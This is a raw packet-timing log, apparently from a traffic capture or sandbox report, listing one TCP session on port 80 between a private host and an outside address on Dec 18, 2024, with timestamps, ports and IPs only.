Dec 18, 2024 13:49:47.147516966 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.148246050 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.148260117 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.148271084 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.148358107 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.149271011 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.149285078 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.149339914 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.150362015 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.150374889 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.150481939 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.151401997 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.151415110 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.151487112 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.152039051 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.152054071 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.152180910 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.152945995 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.152961016 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.152972937 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.153038979 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.153038979 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.153920889 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.153934956 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.154057980 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.154915094 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.154927969 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.155199051 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.155843973 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.155857086 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.155917883 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.156672001 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.156685114 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.156697989 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.156790972 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.157569885 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.157583952 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.157641888 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.292638063 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.292792082 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.292893887 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.293251991 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.293468952 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.293555021 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.293791056 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.294296980 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.294472933 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.294617891 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.295319080 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.295391083 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.295495987 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.296278000 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.296390057 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.296546936 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.297305107 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.297368050 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.297569036 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.298789024 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.298907042 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.299252033 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.299721956 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.299736023 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.299861908 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.300453901 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.300559044 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.300896883 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.301353931 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.301415920 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.301724911 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.302351952 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.302490950 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.302548885 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.303462029 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.303520918 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.304284096 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.304766893 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.304781914 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.304816008 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.305587053 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.305666924 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.306018114 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.306543112 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.306699038 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.307013988 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.307487011 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.307590961 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.307743073 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.308368921 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.308463097 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.308619022 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.309964895 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.309978962 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.310009003 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.310682058 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.310738087 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.311110020 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.311541080 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.311595917 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.311923027 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.312424898 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.312522888 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.312788963 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.313378096 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.313462019 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.313692093 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.314544916 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.314683914 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.314728022 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.316060066 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.316147089 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.316350937 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.316803932 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.316817999 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.316929102 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.317662954 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.317751884 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.318020105 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.319335938 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.319350004 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.319443941 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.320125103 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.320310116 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.320620060 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.321053028 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.321067095 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.321238995 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.323045969 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.323060036 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.323209047 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.324099064 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.324114084 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.324280024 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.324712038 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.324728012 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.324790955 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.326134920 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.326149940 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.326204062 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.327894926 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.327961922 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.328804970 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.329744101 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.329757929 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.329814911 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.330741882 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.330802917 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.331588030 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.331602097 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.331681967 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.332519054 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.332541943 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.332638979 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.333486080 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.334388971 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.334402084 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.334492922 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.335321903 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.335335016 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.335414886 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.336263895 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.336278915 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.336345911 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.338172913 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.338188887 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.338202953 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.338274002 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.338274002 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.339639902 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.339653969 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.339709044 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.344172001 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.344191074 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.344203949 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.344300985 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.344310045 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.344316006 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.344326019 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.344331980 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.344337940 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.344343901 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.344531059 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.345603943 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.345618010 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.345653057 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.346554995 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.346568108 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.346580029 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.346647024 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.346647024 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.347492933 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.348484039 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.348536015 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.349565029 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.349853992 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.349869013 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.349942923 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.399985075 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.522289038 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.522303104 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.522325039 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.522349119 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.522351027 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.522351980 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.522371054 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.522373915 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.522389889 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.522403002 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.522417068 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.522437096 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.522437096 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.522449017 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.522454977 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.522463083 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.522475958 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.522489071 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.522511959 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.522525072 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.522542953 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.522542953 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.522557020 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.522559881 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.522571087 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.522609949 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.522618055 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.522629976 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.522644997 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.522660971 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.522671938 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.522692919 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.522705078 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.522715092 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.522718906 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.522732019 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.522763014 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.522774935 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.522774935 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.522774935 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.522789955 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.522804022 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.522816896 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.522828102 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.522842884 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.522842884 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.522862911 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.522872925 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.522881031 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.522895098 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.522907019 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.522919893 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.522929907 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.522941113 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.522977114 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.522986889 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.522986889 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.522989988 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.523005962 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.523017883 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.523047924 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.523060083 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.523063898 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.523075104 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.523087025 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.523098946 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.523102045 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.523113966 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.523148060 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.523159981 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.523166895 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.523166895 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.523173094 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.523186922 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.523199081 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.523199081 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.523211002 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.523230076 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.523245096 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.523256063 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.523277044 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.523278952 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.523292065 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.523298025 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.523298025 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.523416042 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.523416042 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.530857086 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.531008005 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.547066927 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.548465014 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.548479080 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.548491001 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.548571110 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.548571110 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.561429977 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.564143896 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.564157963 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.564209938 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.565931082 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.565946102 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.566014051 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.568598032 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.568682909 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.570444107 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.570828915 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.570996046 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.571024895 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.571976900 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.572114944 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.574330091 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.576615095 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.576627016 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.576910973 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.579557896 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.579571962 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.579582930 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.579638004 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.579674959 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.585855961 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.585870028 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.585966110 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.588234901 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.588248968 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.588321924 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.591237068 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.594116926 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.594130039 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.594218016 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.597345114 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.597358942 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.597428083 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.599618912 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.599747896 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.602443933 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.602458954 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.602680922 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.604763985 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.604787111 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.604799032 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.604892015 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.605559111 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.605572939 CET	80	49822	176.113.115.178	192.168.2.6
